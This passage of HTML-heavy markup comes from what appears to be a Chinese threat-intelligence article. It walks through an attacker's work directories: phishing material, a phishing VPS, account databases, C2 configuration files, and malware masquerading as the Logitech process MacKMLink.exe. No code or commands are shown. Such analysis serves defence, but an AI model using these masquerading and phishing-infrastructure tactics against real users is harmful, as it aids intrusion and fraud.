0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">路径</span></span><span style="display: none;"></span></h3><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">\work\work\media\user\MacKMLink</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">MacKMLink.exe 是一个与罗技 (Logitech) 鼠标和键盘软件相关的可执行文件。它通常是Logitech Options或Logi Options+ 这类罗技官方配置软件的一部分。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">由于MacKMLink.exe是一个常见且通常被信任的后台进程，恶意软件作者有时会利用这一点进行伪装 。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">路径</span></span><span style="display: none;"></span></h3><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">\work\work\mnt\hgfs\Desktop\fish_25327</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">有一些钓鱼会用到的东西</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;" class="rich_pages wxw-img" data-ratio="0.224105461393597" data-w="1062" src="https://wechat2rss.xlab.app/img-proxy/?k=af369e72&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5F1cGSkUffN4FQwAREOMbicuxEpw58Bt0UNkoZbSOEqOlf9pxbh2BMgT7LlxlCGHiaa622osIkqPHEmUh1iaPKuFw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%26quot"/></span></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">路径</span></span><span style="display: none;"></span></h3><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">\work\work\mnt\hgfs\Desktop\111</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这个目录很乱，有一些账户数据库文件、编译命令的文档以及一些C2配置文件等等。。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;" class="rich_pages wxw-img" data-ratio="0.7407407407407407" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=03933bbe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5F1cGSkUffN4FQwAREOMbicuxEpw58Bt0n9HibiaJMibe7b0kMLicW9EqEqaBhdEZy8GPTbRMkPIDUYczPQKqxvVb7A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%26quot"/></span></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">路径</span></span><span style="display: none;"></span></h3><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">\work\work\mnt\hgfs\Desktop\New folder</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">钓鱼VPS</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;" class="rich_pages wxw-img" data-ratio="0.5324074074074074" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ae2a8f95&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5F1cGSkUffN4FQwAREOMbicuxEpw58Bt0hEV1PXW6A8aDu3FYKW09bhIbTUkSBDN2U9g6fjAAXyHt2T0gasvlJA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%26quot"/></span></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">路径</span></span><span style="display: none;"></span></h3><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">\work\work\mnt\hgfs\share_data</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">除了共享的TW数据，与其它路径文件并无二致</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;" class="rich_pages wxw-img" data-ratio="0.6037037037037037" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ab270e63&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5F1cGSkUffN4FQwAREOMbicuxEpw58Bt0y0ds7fOFc51pAgFeelCSWXIa0XHVeRIvTJcLuib5DdQx2ppncWLDPsQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%26quot"/></span></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">路径</span></span><span style="display: none;"></span></h3><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">\work\work\home\user.config</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">用户配置文件</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;" class="rich_pages wxw-img" data-ratio="0.9361948955916474" data-w="862" src="https://wechat2rss.xlab.app/img-proxy/?k=c3a8f209&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5F1cGSkUffN4FQwAREOMbicuxEpw58Bt0mx9WwT5M7AYyrXqx4ow5SWfVYnuaXdDuc5DzaZmTknoL1kS3bD7Xicw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%26quot"/></span></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">路径</span></span><span style="display: none;"></span></h3><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">\work\work\home\user.config\sogou-qimpanel\skin</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">黑阔同款搜狗皮肤用上</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;" class="rich_pages wxw-img" data-ratio="0.7491248541423571" data-w="857" src="https://wechat2rss.xlab.app/img-proxy/?k=aff5f986&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5F1cGSkUffN4FQwAREOMbicuxEpw58Bt0SribBo52M495UYNxwUP3NBEg0lRl8VEZQumuibJHBYoZ19ybQuG1tfcg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%26quot"/></span></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">路径</span></span><span style="display: 